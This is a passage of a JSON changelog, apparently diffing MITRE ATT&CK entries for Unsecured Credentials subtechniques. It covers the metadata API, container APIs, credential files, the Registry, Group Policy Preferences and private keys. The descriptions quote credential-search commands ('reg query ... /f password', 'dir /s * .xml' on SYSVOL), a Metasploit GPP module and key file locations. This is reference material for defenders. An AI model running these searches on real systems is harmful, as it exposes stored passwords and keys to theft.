"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Containers", + "Network Devices", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Windows Registry: Windows Registry Key Access\", \"Application Log: Application Log Content\", \"Command: Command Execution\", \"Process: Process Creation\", \"File: File Access\", \"User Account: User Account Authentication\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.785000+00:00\", \"old_value\": \"2025-04-15 19:58:26.362000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Shell History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix)\", \"old_value\": \"Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix)\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\\n\\nMonitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior.\\n\\nMonitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \\\"history\\\" instead of commands like cat ~/.bash_history.\\n\\nAdditionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\\n-\\n-Monitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior.\\n-\\n-Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \\\"history\\\" instead of commands like cat ~/.bash_history.\\n-\\n-Additionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.\"}}}", + "previous_version": "1.5", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may search compromised systems to find and obtait1Adversaries may search compromised systems to find and obtai
>n insecurely stored credentials. These credentials can be st>n insecurely stored credentials. These credentials can be st
>ored and/or misplaced in many locations on a system, includi>ored and/or misplaced in many locations on a system, includi
>ng plaintext files (e.g. [Bash History](https://attack.mitre>ng plaintext files (e.g. [Shell History](https://attack.mitr
>.org/techniques/T1552/003)), operating system or application>e.org/techniques/T1552/003)), operating system or applicatio
>-specific repositories (e.g. [Credentials in Registry](https>n-specific repositories (e.g. [Credentials in Registry](http
>://attack.mitre.org/techniques/T1552/002)),  or other specia>s://attack.mitre.org/techniques/T1552/002)),  or other speci
>lized files/artifacts (e.g. [Private Keys](https://attack.mi>alized files/artifacts (e.g. [Private Keys](https://attack.m
>tre.org/techniques/T1552/004)).(Citation: Brining MimiKatz t>itre.org/techniques/T1552/004)).(Citation: Brining MimiKatz 
>o Unix)>to Unix)
", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1017: User Training", + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1028: Operating System Configuration", + "M1035: Limit Access to Resource Over Network", + "M1037: Filter Network Traffic", + "M1041: Encrypt Sensitive Information", + "M1047: Audit", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0009: Process (Process Creation)", + "DS0015: Application Log (Application Log Content)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)", + "DS0024: Windows Registry (Windows Registry Key Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0412: Detect Access or Search for Unsecured Credentials Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:47:46.619000+00:00", + "modified": "2025-10-24 17:48:27.965000+00:00", + "name": "Cloud Instance Metadata API", + "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1552/005", + "external_id": "T1552.005" + }, + { + "source_name": "AWS Instance Metadata API", + "description": "AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019.", + "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html" + }, + { + "source_name": "RedLock Instance Metadata API 2018", + "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.", + "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse" + }, + { + "source_name": "Krebs Capital One August 2019", + "description": "Krebs, B.. (2019, August 19). What We Can Learn from the Capital One Hack. Retrieved March 25, 2020.", + "url": "https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:27.965000+00:00\", \"old_value\": \"2025-04-15 22:02:45.218000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor access to the Instance Metadata API and look for anomalous queries.\\n\\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor access to the Instance Metadata API and look for anomalous queries.\\n-\\n-It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1035: Limit Access to Resource Over Network", + "M1037: Filter Network Traffic", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0001: Detect Access to Cloud Instance Metadata API (IaaS)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-31 14:01:52.321000+00:00", + "modified": "2025-10-24 17:49:38.351000+00:00", + "name": "Container API", + "description": "Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: Docker API)(Citation: Kubernetes API)\n\nAn adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1552/007", + "external_id": "T1552.007" + }, + { + "source_name": "Unit 42 Unsecured Docker Daemons", + "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.", + "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/" + }, + { + "source_name": "Docker API", + "description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.", + "url": "https://docs.docker.com/engine/api/v1.41/" + }, + { + "source_name": "Kubernetes API", + "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.", + "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)", + "Jay Chen, Palo Alto Networks", + "Yossi Weizman, Azure Defender Research Team" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:38.351000+00:00\", \"old_value\": \"2025-04-15 22:09:34.621000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs.\\n\\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs.\\n-\\n-It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1030: Network Segmentation", + "M1035: Limit Access to Resource Over Network" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0198: Detect Abuse of Container APIs for Credential Access" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-04 12:52:13.006000+00:00", + "modified": "2025-10-24 17:49:03+00:00", + "name": "Credentials In Files", + "description": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).(Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.(Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1552/001", + "external_id": "T1552.001" + }, + { + "source_name": "CG 2014", + "description": "CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.", + "url": "http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html" + }, + { + "source_name": "Unit 42 Hildegard Malware", + "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.", + "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/" + }, + { + "source_name": "Unit 42 Unsecured Docker Daemons", + "description": "Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.", + "url": "https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/" + }, + { + "source_name": "Specter Ops - Cloud Credential Storage", + "description": "Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019.", + "url": "https://posts.specterops.io/head-in-the-clouds-bd038bb69e48" + }, + { + "source_name": "SRD GPP", + "description": "Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.", + "url": "http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Rory McCune, Aqua Security", + "Jay Chen, Palo Alto Networks", + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee", + "Microsoft Threat Intelligence Center (MSTIC)" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "IaaS", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03+00:00\", \"old_value\": \"2025-04-15 19:58:47.301000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1022: Restrict File and Directory Permissions", + "M1027: Password Policies", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0307: Detect Access to Unsecured Credential Files Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-04 12:58:40.678000+00:00", + "modified": "2025-10-24 17:48:37.378000+00:00", + "name": "Credentials in Registry", + "description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1552/002", + "external_id": "T1552.002" + }, + { + "source_name": "Pentestlab Stored Credentials", + "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.", + "url": "https://pentestlab.blog/2017/04/19/stored-credentials/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Sudhanshu Chauhan, @Sudhanshu_C" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Windows Registry: Windows Registry Key Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.378000+00:00\", \"old_value\": \"2025-04-15 19:58:20.405000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0250: Detect Credential Discovery via Windows Registry Enumeration" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:43:06.253000+00:00", + "modified": "2025-10-24 17:49:05.282000+00:00", + "name": "Group Policy Preferences", + "description": "Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)\n\nThese group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit\u2019s post exploitation module: post/windows/gather/credentials/gpp\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: dir /s * .xml\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1552/006", + "external_id": "T1552.006" + }, + { + "source_name": "Obscuresecurity Get-GPPPassword", + "description": "Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.", + "url": "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html" + }, + { + "source_name": "Microsoft GPP 2016", + "description": "Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020.", + "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)" + }, + { + "source_name": "Microsoft GPP Key", + "description": "Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.", + "url": "https://msdn.microsoft.com/library/cc422924.aspx" + }, + { + "source_name": "ADSecurity Finding Passwords in SYSVOL", + "description": "Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.", + "url": "https://adsecurity.org/?p=2288" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Access\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.282000+00:00\", \"old_value\": \"2025-04-15 22:39:12.196000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for attempts to access SYSVOL that involve searching for XML files. \\n\\nDeploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for attempts to access SYSVOL that involve searching for XML files. \\n-\\n-Deploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration", + "M1047: Audit", + "M1051: Update Software" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0381: Detect Access and Decryption of Group Policy Preference (GPP) Credentials in SYSVOL" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-04 13:06:49.258000+00:00", + "modified": "2025-10-24 17:48:50.819000+00:00", + "name": "Private Keys", + "description": "Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nWhen a device is registered to Entra ID, a device key and a transport key are generated and used to verify the device\u2019s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\n\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1552/004", + "external_id": "T1552.004" + }, + { + "source_name": "Palo Alto Prince of Persia", + "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/" + }, + { + "source_name": "cisco_deploy_rsa_keys", + "description": "Cisco. (2023, February 17). Chapter: Deploying RSA Keys Within a PKI . Retrieved March 27, 2023.", + "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/sec_conn_pki/configuration/xe-17/sec-pki-xe-17-book/sec-deploy-rsa-pki.html#GUID-1CB802D8-9DE3-447F-BECE-CF22F5E11436" + }, + { + "source_name": "AADInternals Azure AD Device Identities", + "description": "Dr. Nestori Syynimaa. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved February 21, 2023.", + "url": "https://aadinternals.com/post/deviceidentity/" + }, + { + "source_name": "Kaspersky Careto", + "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.", + "url": "https://web.archive.org/web/20141031134104/http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf" + }, + { + "source_name": "Microsoft Primary Refresh Token", + "description": "Microsoft. (2022, September 9). What is a Primary Refresh Token?. Retrieved February 21, 2023.", + "url": "https://learn.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token" + }, + { + "source_name": "Wikipedia Public Key Crypto", + "description": "Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.", + "url": "https://en.wikipedia.org/wiki/Public-key_cryptography" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Itzik Kotler, SafeBreach", + "Austin Clark, @c2defense" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Network Devices", + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:50.819000+00:00\", \"old_value\": \"2025-04-15 19:58:35.201000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication. For network infrastructure devices, collect AAA logging to monitor for private keys being exported.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1027: Password Policies", + "M1041: Encrypt Sensitive Information", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": 